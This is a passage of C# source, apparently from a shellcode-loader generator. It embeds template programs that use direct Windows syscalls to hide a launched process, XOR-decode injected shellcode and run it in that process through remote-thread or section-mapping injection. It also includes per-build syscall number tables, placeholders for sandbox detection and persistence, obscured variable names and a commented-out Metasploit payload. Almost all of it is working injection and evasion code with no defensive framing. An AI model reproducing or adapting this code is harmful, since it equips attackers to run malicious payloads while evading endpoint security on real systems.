= 0xc0000003, InfoLengthMismatch = 0xc0000004, AccessViolation = 0xc0000005, InPageError = 0xc0000006, PagefileQuota = 0xc0000007, InvalidHandle = 0xc0000008, BadInitialStack = 0xc0000009, BadInitialPc = 0xc000000a, InvalidCid = 0xc000000b, TimerNotCanceled = 0xc000000c, InvalidParameter = 0xc000000d, NoSuchDevice = 0xc000000e, NoSuchFile = 0xc000000f, InvalidDeviceRequest = 0xc0000010, EndOfFile = 0xc0000011, WrongVolume = 0xc0000012, NoMediaInDevice = 0xc0000013, NoMemory = 0xc0000017, ConflictingAddresses = 0xc0000018, NotMappedView = 0xc0000019, UnableToFreeVm = 0xc000001a, UnableToDeleteSection = 0xc000001b, IllegalInstruction = 0xc000001d, AlreadyCommitted = 0xc0000021, AccessDenied = 0xc0000022, BufferTooSmall = 0xc0000023, ObjectTypeMismatch = 0xc0000024, NonContinuableException = 0xc0000025, BadStack = 0xc0000028, NotLocked = 0xc000002a, NotCommitted = 0xc000002d, InvalidParameterMix = 0xc0000030, ObjectNameInvalid = 0xc0000033, ObjectNameNotFound = 0xc0000034, ObjectNameCollision = 0xc0000035, ObjectPathInvalid = 0xc0000039, ObjectPathNotFound = 0xc000003a, ObjectPathSyntaxBad = 0xc000003b, DataOverrun = 0xc000003c, DataLate = 0xc000003d, DataError = 0xc000003e, CrcError = 0xc000003f, SectionTooBig = 0xc0000040, PortConnectionRefused = 0xc0000041, InvalidPortHandle = 0xc0000042, SharingViolation = 0xc0000043, QuotaExceeded = 0xc0000044, InvalidPageProtection = 0xc0000045, MutantNotOwned = 0xc0000046, SemaphoreLimitExceeded = 0xc0000047, PortAlreadySet = 0xc0000048, SectionNotImage = 0xc0000049, SuspendCountExceeded = 0xc000004a, ThreadIsTerminating = 0xc000004b, BadWorkingSetLimit = 0xc000004c, IncompatibleFileMap = 0xc000004d, SectionProtection = 0xc000004e, EasNotSupported = 0xc000004f, EaTooLarge = 0xc0000050, NonExistentEaEntry = 0xc0000051, NoEasOnFile = 0xc0000052, EaCorruptError = 0xc0000053, FileLockConflict = 0xc0000054, LockNotGranted = 0xc0000055, DeletePending = 0xc0000056, CtlFileNotSupported = 0xc0000057, UnknownRevision = 0xc0000058, RevisionMismatch = 0xc0000059, InvalidOwner = 0xc000005a, InvalidPrimaryGroup = 0xc000005b, NoImpersonationToken = 0xc000005c, CantDisableMandatory = 0xc000005d, NoLogonServers = 0xc000005e, NoSuchLogonSession = 0xc000005f, NoSuchPrivilege = 0xc0000060, PrivilegeNotHeld = 0xc0000061, InvalidAccountName = 0xc0000062, UserExists = 0xc0000063, NoSuchUser = 0xc0000064, GroupExists = 0xc0000065, NoSuchGroup = 0xc0000066, MemberInGroup = 0xc0000067, MemberNotInGroup = 0xc0000068, LastAdmin = 0xc0000069, WrongPassword = 0xc000006a, IllFormedPassword = 0xc000006b, PasswordRestriction = 0xc000006c, LogonFailure = 0xc000006d, AccountRestriction = 0xc000006e, InvalidLogonHours = 0xc000006f, InvalidWorkstation = 0xc0000070, PasswordExpired = 0xc0000071, AccountDisabled = 0xc0000072, NoneMapped = 0xc0000073, TooManyLuidsRequested = 0xc0000074, LuidsExhausted = 0xc0000075, InvalidSubAuthority = 0xc0000076, InvalidAcl = 0xc0000077, InvalidSid = 0xc0000078, InvalidSecurityDescr = 0xc0000079, ProcedureNotFound = 0xc000007a, InvalidImageFormat = 0xc000007b, NoToken = 0xc000007c, BadInheritanceAcl = 0xc000007d, RangeNotLocked = 0xc000007e, DiskFull = 0xc000007f, ServerDisabled = 0xc0000080, ServerNotDisabled = 0xc0000081, TooManyGuidsRequested = 0xc0000082, GuidsExhausted = 0xc0000083, InvalidIdAuthority = 0xc0000084, AgentsExhausted = 0xc0000085, InvalidVolumeLabel = 0xc0000086, SectionNotExtended = 0xc0000087, NotMappedData = 0xc0000088, ResourceDataNotFound = 0xc0000089, ResourceTypeNotFound = 0xc000008a, ResourceNameNotFound = 0xc000008b, ArrayBoundsExceeded = 0xc000008c, FloatDenormalOperand = 0xc000008d, FloatDivideByZero = 0xc000008e, FloatInexactResult = 0xc000008f, FloatInvalidOperation = 0xc0000090, FloatOverflow = 0xc0000091, FloatStackCheck = 0xc0000092, FloatUnderflow = 0xc0000093, IntegerDivideByZero = 0xc0000094, IntegerOverflow = 0xc0000095, PrivilegedInstruction = 0xc0000096, TooManyPagingFiles = 0xc0000097, FileInvalid = 0xc0000098, InstanceNotAvailable = 0xc00000ab, PipeNotAvailable = 0xc00000ac, InvalidPipeState = 0xc00000ad, PipeBusy = 0xc00000ae, IllegalFunction = 0xc00000af, PipeDisconnected = 0xc00000b0, PipeClosing = 0xc00000b1, PipeConnected = 0xc00000b2, PipeListening = 0xc00000b3, InvalidReadMode = 0xc00000b4, IoTimeout = 0xc00000b5, FileForcedClosed = 0xc00000b6, ProfilingNotStarted = 0xc00000b7, ProfilingNotStopped = 0xc00000b8, NotSameDevice = 0xc00000d4, FileRenamed = 0xc00000d5, CantWait = 0xc00000d8, PipeEmpty = 0xc00000d9, CantTerminateSelf = 0xc00000db, InternalError = 0xc00000e5, InvalidParameter1 = 0xc00000ef, InvalidParameter2 = 0xc00000f0, InvalidParameter3 = 0xc00000f1, InvalidParameter4 = 0xc00000f2, InvalidParameter5 = 0xc00000f3, InvalidParameter6 = 0xc00000f4, InvalidParameter7 = 0xc00000f5, InvalidParameter8 = 0xc00000f6, InvalidParameter9 = 0xc00000f7, InvalidParameter10 = 0xc00000f8, InvalidParameter11 = 0xc00000f9, InvalidParameter12 = 0xc00000fa, MappedFileSizeZero = 0xc000011e, TooManyOpenedFiles = 0xc000011f, Cancelled = 0xc0000120, CannotDelete = 0xc0000121, InvalidComputerName = 0xc0000122, FileDeleted = 0xc0000123, SpecialAccount = 0xc0000124, SpecialGroup = 0xc0000125, SpecialUser = 0xc0000126, MembersPrimaryGroup = 0xc0000127, FileClosed = 0xc0000128, TooManyThreads = 0xc0000129, ThreadNotInProcess = 0xc000012a, TokenAlreadyInUse = 0xc000012b, PagefileQuotaExceeded = 0xc000012c, CommitmentLimit = 0xc000012d, InvalidImageLeFormat = 0xc000012e, InvalidImageNotMz = 0xc000012f, InvalidImageProtect = 0xc0000130, InvalidImageWin16 = 0xc0000131, LogonServer = 0xc0000132, DifferenceAtDc = 0xc0000133, SynchronizationRequired = 0xc0000134, DllNotFound = 0xc0000135, IoPrivilegeFailed = 0xc0000137, OrdinalNotFound = 0xc0000138, EntryPointNotFound = 0xc0000139, ControlCExit = 0xc000013a, PortNotSet = 0xc0000353, DebuggerInactive = 0xc0000354, CallbackBypass = 0xc0000503, PortClosed = 0xc0000700, MessageLost = 0xc0000701, InvalidMessage = 0xc0000702, RequestCanceled = 0xc0000703, RecursiveDispatch = 0xc0000704, LpcReceiveBufferExpected = 0xc0000705, LpcInvalidConnectionUsage = 0xc0000706, LpcRequestsNotAllowed = 0xc0000707, ResourceInUse = 0xc0000708, ProcessIsProtected = 0xc0000712, VolumeDirty = 0xc0000806, FileCheckedOut = 0xc0000901, CheckOutRequired = 0xc0000902, BadFileType = 0xc0000903, FileTooLarge = 0xc0000904, FormsAuthRequired = 0xc0000905, VirusInfected = 0xc0000906, VirusDeleted = 0xc0000907, TransactionalConflict = 0xc0190001, InvalidTransaction = 0xc0190002, TransactionNotActive = 0xc0190003, TmInitializationFailed = 0xc0190004, RmNotActive = 0xc0190005, RmMetadataCorrupt = 0xc0190006, TransactionNotJoined = 0xc0190007, DirectoryNotRm = 0xc0190008, CouldNotResizeLog = 0xc0190009, TransactionsUnsupportedRemote = 0xc019000a, LogResizeInvalidSize = 0xc019000b, RemoteFileVersionMismatch = 0xc019000c, CrmProtocolAlreadyExists = 0xc019000f, TransactionPropagationFailed = 0xc0190010, CrmProtocolNotFound = 0xc0190011, TransactionSuperiorExists = 0xc0190012, TransactionRequestNotValid = 0xc0190013, TransactionNotRequested = 0xc0190014, TransactionAlreadyAborted = 0xc0190015, TransactionAlreadyCommitted = 0xc0190016, TransactionInvalidMarshallBuffer = 0xc0190017, CurrentTransactionNotValid = 0xc0190018, LogGrowthFailed = 0xc0190019, ObjectNoLongerExists = 0xc0190021, StreamMiniversionNotFound = 0xc0190022, StreamMiniversionNotValid = 0xc0190023, MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, CantOpenMiniversionWithModifyIntent = 0xc0190025, CantCreateMoreStreamMiniversions = 0xc0190026, HandleNoLongerValid = 0xc0190028, NoTxfMetadata = 0xc0190029, LogCorruptionDetected = 0xc0190030, CantRecoverWithHandleOpen = 0xc0190031, RmDisconnected = 0xc0190032, EnlistmentNotSuperior = 0xc0190033, RecoveryNotNeeded = 0xc0190034, RmAlreadyStarted = 0xc0190035, FileIdentityNotPersistent = 0xc0190036, CantBreakTransactionalDependency = 0xc0190037, CantCrossRmBoundary = 0xc0190038, TxfDirNotEmpty = 0xc0190039, IndoubtTransactionsExist = 0xc019003a, TmVolatile = 0xc019003b, RollbackTimerExpired = 0xc019003c, TxfAttributeCorrupt = 0xc019003d, EfsNotAllowedInTransaction = 0xc019003e, TransactionalOpenNotAllowed = 0xc019003f, TransactedMappingUnsupportedRemote = 0xc0190040, TxfMetadataAlreadyPresent = 0xc0190041, TransactionScopeCallbacksNotSet = 0xc0190042, TransactionRequiredPromotion = 0xc0190043, CannotExecuteFileInTransaction = 0xc0190044, TransactionsNotFrozen = 0xc0190045, MaximumNtStatus = 0xffffffff } [DllImport(""kernel32.dll"")] public static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); [DllImport(""Kernel32.dll"", CallingConvention = CallingConvention.StdCall)] public static extern void GetSystemInfo(ref nativeStructs.SYSTEM_INFO lpSysInfo); [DllImport(""ntdll.dll"", SetLastError = true)] public static extern bool RtlGetVersion(ref OSVERSIONINFOEXW versionInfo); } class syscalls { public static byte[] syscallSkeleton = { 0x49, 0x89, 0xCA, 0xB8, 0xFF, 0x00, 0x00, 0x00, 0x0F, 0x05, 0xC3 }; public static Dictionary<string, Dictionary<string, byte>> sysDic = new Dictionary<string, Dictionary<string, byte>>() { { ""win10-1507"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xB3}, { ""createsection"", 0x4A }, { ""mapviewofsec"", 0x28 } } }, { ""win10-1511"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xB4}, { ""mapviewofsec"", 0x28 } } }, { ""win10-1607"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xB6}, { ""createsection"", 0x4A }, { ""mapviewofsec"", 0x28 } } }, { ""win10-1703"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xB9}, { ""createsection"", 0x4A }, { ""mapviewofsec"", 0x28 } } }, { ""win10-1709"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xBA}, { ""createsection"", 0x4A }, { ""mapviewofsec"", 0x28 } } }, { ""win10-1803"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xBB}, { ""createsection"", 0x4A }, { ""mapviewofsec"", 0x28 } } }, { ""win10-1809"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xBC}, { ""createsection"", 0x4A }, { ""mapviewofsec"", 0x28 } } }, { ""win10-1903-9"", new Dictionary<string, byte>() { { ""openprocess"",0x26}, { ""allocatevirtualmem"", 0x18}, { ""writevirtualmem"", 0x3A}, { ""createremthread"", 0xBD}, { ""createsection"", 0x4A }, { ""mapviewofsec"", 0x28 } } }, { ""win8-12"", new Dictionary<string, byte>() { { ""openprocess"",0x24}, { ""allocatevirtualmem"", 0x16}, { ""writevirtualmem"", 0x38}, { ""createremthread"", 0xAF}, { ""createsection"", 0x48 }, { ""mapviewofsec"", 0x26 } } }, { ""win8.1-12r2"", new Dictionary<string, byte>() { { ""openprocess"",0x25}, { ""allocatevirtualmem"", 0x17}, { ""writevirtualmem"", 0x39}, { ""createremthread"", 0xB0}, { ""createsection"", 0x49 }, { ""mapviewofsec"", 0x27 } } }, { ""w7-08"", new Dictionary<string, byte>() { { ""openprocess"",0x23}, { ""allocatevirtualmem"", 0x15}, { ""writevirtualmem"", 0x37}, { ""createremthread"", 0xA5}, { ""createsection"", 0x47 }, { ""mapviewofsec"", 0x25 } } } }; public static nativeStructs.NTSTATUS ZwOpenProcess(ref IntPtr hProcess, nativeStructs.ProcessAccessFlags processAccess, nativeStructs.OBJECT_ATTRIBUTES objAttribute, ref nativeStructs.CLIENT_ID clientid, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os][""openprocess""]; unsafe { fixed (byte* ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; uint oldprotect; if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } Delegates.ZwOpenProcess myAssemblyFunction = (Delegates.ZwOpenProcess)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwOpenProcess)); return (nativeStructs.NTSTATUS)myAssemblyFunction(out hProcess, processAccess, objAttribute, ref clientid); } } } public static nativeStructs.NTSTATUS NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, int createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os][""createremthread""]; unsafe { fixed (byte* ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; uint oldprotect; if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } //// //// Delegates.NtCreateThreadEx myAssemblyFunction = (Delegates.NtCreateThreadEx)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateThreadEx)); return (nativeStructs.NTSTATUS)myAssemblyFunction(out threadHandle, desiredAccess, objectAttributes, processHandle, lpStartAddress, lpParameter, createSuspended, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve, lpBytesBuffer); } } } public static nativeStructs.NTSTATUS ZwWriteVirtualMemory(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os][""writevirtualmem""]; unsafe { fixed (byte* ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; uint oldprotect; if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory)); return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten); } } } public static nativeStructs.NTSTATUS NtAllocateVirtualMemory(IntPtr hProcess, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os][""allocatevirtualmem""]; unsafe { fixed (byte* ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; uint oldprotect; if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } Delegates.NtAllocateVirtualMemory myAssemblyFunction = (Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory)); return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, ref BaseAddress, ZeroBits, ref RegionSize, AllocationType, Protect); } } } public static nativeStructs.NTSTATUS NtCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref nativeStructs.LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os][""createsection""]; unsafe { fixed (byte* ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; uint oldprotect; if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } Delegates.NtCreateSection myAssemblyFunction = (Delegates.NtCreateSection)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtCreateSection)); return (nativeStructs.NTSTATUS)myAssemblyFunction(ref section, desiredAccess, pAttrs, ref pMaxSize, pageProt, allocationAttribs, hFile); } } } public static nativeStructs.NTSTATUS NtMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os][""mapviewofsec""]; unsafe { fixed (byte* ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; uint oldprotect; if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } Delegates.NtMapViewOfSection myAssemblyFunction = (Delegates.NtMapViewOfSection)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtMapViewOfSection)); return (nativeStructs.NTSTATUS)myAssemblyFunction(section, process, ref baseAddr, zeroBits, commitSize, stuff, ref viewSize, inheritDispo, alloctype, prot); } } } public static nativeStructs.NTSTATUS RtlGetVersion(IntPtr hProcess, ref IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten, string os) { byte[] syscall = syscallSkeleton; syscall[4] = sysDic[os][""writevirtualmem""]; unsafe { fixed (byte* ptr = syscall) { IntPtr memoryAddress = (IntPtr)ptr; uint oldprotect; if (!nativeStructs.VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, 0x40, out oldprotect)) { throw new Win32Exception(); } Delegates.ZwWriteVirtualMemory myAssemblyFunction = (Delegates.ZwWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.ZwWriteVirtualMemory)); return (nativeStructs.NTSTATUS)myAssemblyFunction(hProcess, lpBaseAddress, lpBuffer, nSize, ref lpNumberOfBytesWritten); } } } public struct Delegates { [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int ZwOpenProcess(out IntPtr hProcess, nativeStructs.ProcessAccessFlags processAccess, nativeStructs.OBJECT_ATTRIBUTES objAttribute, ref nativeStructs.CLIENT_ID clientid); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int ZwWriteVirtualMemory(IntPtr hProcess, IntPtr lpBaseAddress, IntPtr lpBuffer, uint nSize, ref IntPtr lpNumberOfBytesWritten); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int NtAllocateVirtualMemory(IntPtr ProcessHandle, ref IntPtr BaseAddress, IntPtr ZeroBits, ref UIntPtr RegionSize, ulong AllocationType, ulong Protect); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int NtCreateThreadEx(out IntPtr threadHandle, uint desiredAccess, IntPtr objectAttributes, IntPtr processHandle, IntPtr lpStartAddress, IntPtr lpParameter, int createSuspended, uint stackZeroBits, uint sizeOfStackCommit, uint sizeOfStackReserve, IntPtr lpBytesBuffer); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate bool RtlGetVersion(ref nativeStructs.OSVERSIONINFOEXW lpVersionInformation); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int NtCreateSection(ref IntPtr section, uint desiredAccess, IntPtr pAttrs, ref nativeStructs.LARGE_INTEGER pMaxSize, uint pageProt, uint allocationAttribs, IntPtr hFile); [SuppressUnmanagedCodeSecurity] [UnmanagedFunctionPointer(CallingConvention.Cdecl)] public delegate int NtMapViewOfSection(IntPtr section, IntPtr process, ref IntPtr baseAddr, IntPtr zeroBits, IntPtr commitSize, IntPtr stuff, ref IntPtr viewSize, int inheritDispo, uint alloctype, uint prot); } } }"; //syscall 注入新进程 public static string syscall_new = @"using System; using System.Runtime.InteropServices; using System.Security; using System.ComponentModel; using System.Diagnostics; using System.Collections; using System.Collections.Generic; using System.Deployment.Internal; using System.Linq; using System.Text; namespace CS_SysCall { class Program { public const int ALLOCWRITE = 1; public const int OPENSEC = 2; public static byte string_to_int(string str) { string temp = str.Substring(str.Length - 2, 2); int hex = int.Parse(temp, System.Globalization.NumberStyles.HexNumber); return BitConverter.GetBytes(hex)[0]; } public static byte[] XOR_C(string raw) { string[] xxxxx_array = raw.Split(','); byte[] result = new byte[xxxxx_array.Length]; int j = 234; int add = 12; for (int i = 0; i < xxxxx_array.Length; i++) { string temp = string.Format(""{0:x2}"", string_to_int(xxxxx_array[i]) ^ 123 ^ j); temp = ""0x"" + temp.Substring(temp.Length - 2, 2); result[i] = string_to_int(temp); j += add; } return result; } static unsafe void Main(string[] args) { //{{sanbox_vm_detect}} //{{persistence}} string osV = getOsVers(); Process p = new Process(); p.StartInfo = new ProcessStartInfo(""{{processname}}""); p.StartInfo.CreateNoWindow = true; p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden; p.Start(); string xxxx = ""{{shellcode}}""; byte[] xxxxx = XOR_C(xxxx); yr_var_foobar_2_ccx(osV, OPENSEC, p.Id, xxxxx); } public static string getOsVers() { nativeStructs.OSVERSIONINFOEXW osInfo = new nativeStructs.OSVERSIONINFOEXW(); osInfo.dwOSVersionInfoSize = Marshal.SizeOf(osInfo); nativeStructs.RtlGetVersion(ref osInfo); string osV = """"; switch (osInfo.dwMajorVersion) { case 10: switch (osInfo.dwBuildNumber) { case 10240: osV = ""win10-1507""; break; case 10586: osV = ""win10-1511""; break; case 14393: osV = ""win10-1607""; break; case 15063: osV = ""win10-1703""; break; case 16299: osV = ""win10-1709""; break; case 17134: osV = ""win10-1803""; break; case 17763: osV = ""win10-1809""; break; case 18362: osV = ""win10-1903-9""; break; } break; case 6: switch (osInfo.dwMinorVersion) { case 1: osV = ""w7-08""; break; case 2: osV = ""win8-12""; break; case 3: osV = ""win8.1-12r2""; break; } break; default: osV = """"; break; } return osV; } public static unsafe int yr_var_foobar_2_ccx(string os, int method, int pid, byte[] yr_var_foobar_1_ccx) { //Process targetProcess = Process.GetProcessesByName(processName)[0]; //int id = targetProcess.Id; int id = pid; //Console.WriteLine(""Injecting yr_var_foobar_1_ccx on pid "" + id); //msf messagebox x64 //string s = @""/EiB5PD////o0AAAAEFRQVBSUVZIMdJlSItSYD5Ii1IYPkiLUiA+SItyUD5ID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVE+SItSID6LQjxIAdA+i4CIAAAASIXAdG9IAdBQPotIGD5Ei0AgSQHQ41xI/8k+QYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18T5MA0wkCEU50XXWWD5Ei0AkSQHQZj5BiwxIPkSLQBxJAdA+QYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVo+SIsS6Un///9dScfBAAAAAD5IjZX+AAAAPkyNhQMBAABIMclBukWDVgf/1UgxyUG68LWiVv/VZ2F0bwBNZXNzYWdlQm94AA==""; //byte[] yr_var_foobar_1_ccx = Convert.FromBase64String(s); nativeStructs.CLIENT_ID clientid = new nativeStructs.CLIENT_ID(); clientid.UniqueProcess = new IntPtr(id); clientid.UniqueThread = IntPtr.Zero; IntPtr bufferReal = IntPtr.Zero; IntPtr procHandle = IntPtr.Zero; syscalls.ZwOpenProcess(ref procHandle, nativeStructs.ProcessAccessFlags.All, new nativeStructs.OBJECT_ATTRIBUTES(), ref clientid, os); IntPtr remoteAddr = new IntPtr(); switch (method) { case ALLOCWRITE: //Console.WriteLine(""[+] Using ALLOCWRITE method to allocate our yr_var_foobar_1_ccx in the remote process""); UIntPtr sz = new UIntPtr(Convert.ToUInt32(yr_var_foobar_1_ccx.Length)); syscalls.NtAllocateVirtualMemory(procHandle, ref remoteAddr, new IntPtr(0), ref sz, nativeStructs.MEM_COMMIT | nativeStructs.MEM_RESERVE, nativeStructs.PAGE_EXECUTE_READWRITE, os); IntPtr written = IntPtr.Zero; IntPtr unmanagedPointer = Marshal.AllocHGlobal(yr_var_foobar_1_ccx.Length); Marshal.Copy(yr_var_foobar_1_ccx, 0, unmanagedPointer, yr_var_foobar_1_ccx.Length); syscalls.ZwWriteVirtualMemory(procHandle, ref remoteAddr, unmanagedPointer, Convert.ToUInt32(yr_var_foobar_1_ccx.Length), ref written, os); break; case OPENSEC: //Console.WriteLine(""[+] Using OPENSEC method to allocate our yr_var_foobar_1_ccx in the remote process""); //create required structs/variables IntPtr localAddr = new IntPtr(null); Process thisProc = Process.GetCurrentProcess(); nativeStructs.LARGE_INTEGER liVal = new nativeStructs.LARGE_INTEGER(); uint size_ = getLowPart((uint)yr_var_foobar_1_ccx.Length); liVal.LowPart = size_; //create local section IntPtr section_ = new IntPtr(); IntPtr viewSize = (IntPtr)(yr_var_foobar_1_ccx.Length); long status = (int)syscalls.NtCreateSection(ref section_, 0x10000000, (IntPtr)0, ref liVal, nativeStructs.PAGE_EXECUTE_READWRITE, 0x08000000, (IntPtr)0, os); //map local section status = (int)syscalls.NtMapViewOfSection(section_, thisProc.Handle, ref localAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os); //map remote section status = (int)syscalls.NtMapViewOfSection(section_, procHandle, ref remoteAddr, (IntPtr)0, (IntPtr)0, (IntPtr)0, ref viewSize, 1, 0, nativeStructs.PAGE_EXECUTE_READWRITE, os); //copy yr_var_foobar_1_ccx to local section Marshal.Copy(yr_var_foobar_1_ccx, 0, localAddr, yr_var_foobar_1_ccx.Length); break; } //bool is64bit = Environment.Is64BitProcess; int temp1 = 0, temp2 = 0; nativeStructs.NtCreateThreadExBuffer nb = new nativeStructs.NtCreateThreadExBuffer { Size = sizeof(nativeStructs.NtCreateThreadExBuffer), Unknown1 = 0x10003, Unknown2 = 0x8, Unknown3 = new IntPtr(&temp2), Unknown4 = 0, Unknown5 = 0x10004, Unknown6 = 4, Unknown7 = new IntPtr(&temp1), Unknown8 = 0, }; IntPtr hRemoteThread; //syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, buffer, IntPtr.Zero, 0, 0, (is64bit ? 0xFFFF : 0u), (is64bit ? 0xFFFF : 0u), (is64bit ? IntPtr.Zero : new IntPtr(&nb)), os); //if OPENSEC then a thread is created in a remote process with the remote section addr as starting point. //if ALLOCWRITE then a thread is created poiting to a memory address with our yr_var_foobar_1_ccx syscalls.NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, procHandle, remoteAddr, IntPtr.Zero, 0, 0, 0xFFFF, 0xFFFF, IntPtr.Zero, os); return 0; } public static uint getLowPart(uint size) { nativeStructs.SYSTEM_INFO info = new nativeStructs.SYSTEM_INFO(); nativeStructs.GetSystemInfo(ref info); return (info.dwPageSize - size % info.dwPageSize) + size; } } class nativeStructs { public const uint MEM_COMMIT = 0x00001000; public const uint MEM_RESERVE = 0x00002000; public const uint PAGE_EXECUTE_READWRITE = 0x40; public const int FILE_READ_DATA = 0x0001; // file & pipe public const int FILE_LIST_DIRECTORY = 0x0001; // directory public const int FILE_WRITE_DATA = 0x0002; // file & pipe public const int FILE_ADD_FILE = 0x0002; // directory public const int FILE_APPEND_DATA = 0x0004; // file public const int FILE_ADD_SUBDIRECTORY = 0x0004; // directory public const int FILE_CREATE_PIPE_INSTANCE = 0x0004; // named pipe public const int FILE_READ_EA = 0x0008; // file & directory public const int FILE_WRITE_EA = 0x0010; // file & directory public const int FILE_EXECUTE = 0x0020; // file public const int FILE_TRAVERSE = 0x0020; // directory public const int FILE_DELETE_CHILD = 0x0040; // directory public const int FILE_READ_ATTRIBUTES = 0x0080; // all public const int FILE_WRITE_ATTRIBUTES = 0x0100; // all public const int FILE_OVERWRITE_IF = 0x00000005; public const int FILE_SYNCHRONOUS_IO_NONALERT = 0x00000020; public const long READ_CONTROL = 0x00020000; public const long SYNCHRONIZE = 0x00100000; public const long STANDARD_RIGHTS_WRITE = READ_CONTROL; public const long STANDARD_RIGHTS_EXECUTE = READ_CONTROL; public const long STANDARD_RIGHTS_ALL = 0x001F0000; public const long SPECIFIC_RIGHTS_ALL = 0x0000FFFF; public const long FILE_ALL_ACCESS = STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1FF; public 